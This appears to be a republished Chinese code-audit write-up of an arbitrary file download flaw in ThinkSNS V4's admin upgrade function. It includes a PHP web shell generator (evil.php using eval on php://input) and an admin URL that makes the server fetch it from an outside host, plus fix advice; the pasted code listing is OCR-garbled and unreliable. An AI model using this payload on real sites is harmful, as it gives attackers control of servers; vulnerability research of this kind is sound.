# 【代码审计】ThinkSNS\_V4后台任意文件下载导致Getshell

作者: Bypass

原文链接: https://mp.weixin.qq.com/s?

biz=MzA3NzE2MjgwMg=&mid=2448903598&idx=1&sn=597d488c492fca52b49b0f5ddddcadb8&chksm=8b55ddf3bc2254e5135ff7f9a10cdde3ce710e32d53fb4575b02411a9b3bbe23ec26207f8196&scene=21#wechat redirect

### 本文由干货集中营收集整理: http://www.nmd5.com/test/index.php



ThinkSNS(简称TS),一款全平台综合性社交系统,为国内外大中小企业和创业者提供社会化软件研发及技术解决方案,目前最新版本为ThinkSNS+(简称TS+),也称作ThinkSNS-plus以及ThinkSNS V4两套产品。在审计这套代码的过程中,发现一个任意文件下载漏洞导致Getshell,提交给CNVD,然而已经提交过了,虽然很简单,还是分享一下思路。

# 01 环境准备

ThinkSNS官网: http://www.thinksns.com

网站源码版本: ThinkSNS V4 更新时间: 2017-09-13

程序源码下载: http://www.thinksns.com/experience.html (填写信息后,提交并下载代码)

默认后台地址: http://127.0.0.1/index.php?app=admin&mod=Public&act=login

默认用户密码:管理员帐号: admin@admin.com 密码自设,大于6位

## 02 代码分析

#### 漏洞文件位置:

/apps/admin/Lib/Action/UpgradeAction.class.php 第168-189行:

```
* Jan ThinkSNS
                                                                 UpgradeAction.class.php ×
   * im apps
       + Bill Common
        + Bill Conf.
        * DD 10-
         wind Action
              [7] Address Amon class plus
               □9 AdministratorAction da
               (*) ApplicationAction.class
               (2) AppsAction.class.php
               ConfigAction.class.php
                                                                           is_dir(dirnae($path)) = skdir(dirnae($path), 8777, true);
file_pus_contents($path, file_put_contents($denire)));
file_pus_contents($path) = zithi-shiedcon(*Taptigate, jebig*dirnae($path),*目录是否可用,如果可用,请职新重试!*
               DepartmentAction.class.
               (*) GlobalAction.class.php
                                                                           *filename dirmsme(spath) '/wpgrade.json';
Sdata = file.get_contents($filename);
Sdata = file.get_contents($filename);
Sdata = jond_secode(Sdata, false);
(md, file(Spath) 'S Sdata-wed) {
jond_secoderror("更新在政治失败 请重新执行升级。");
               ThomeAction.class.php
               indexAction.class.php
               MedalAction.class.php
               (% MobileAction.class.php
               (% PublicAction.class.php
               (3) TaskAction class php
               (*) ToolAction.class.php
                                                                           file_exists($delfile) and file_put_contents($delfile, 'hphp_return array(); ?>');
file_exists($sqlPath) and file_put_contents($sqlPath, '-- 著美升級 $Qt --');
              UpgradeAction.class.phg
               ☐ UserGroupAction.class.p
```

在这段函数中,先备份老配置文件,然后下载增量包,下载参数\$downUrl未经过任何处理,直接下载到网站目录下,接着验证hash判断包是否合法,但是并没有删除下载的增量包,导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

### 03 漏洞利用

- 1、第三方网站,新建一个evil.php,作为第三方源文件:
  - 1. <?php
  - 2. echo "<?php " ;</pre>
  - 3. echo "eval(file\_get\_contents('php://input'));";
  - 4. echo "?>" ;
  - 5. ?>

2、

登录后台,通过访问构造的url,成功下载第三方源的恶意脚本文件。http://127.0.0.1/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://192.168.8.154/evil.php



## 04 修复建议

- 1、指定固定更新源,避免参数被用户可控;
- 2、经过hash验证的包如果不合法,应立即删除。

### Bypass



### About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。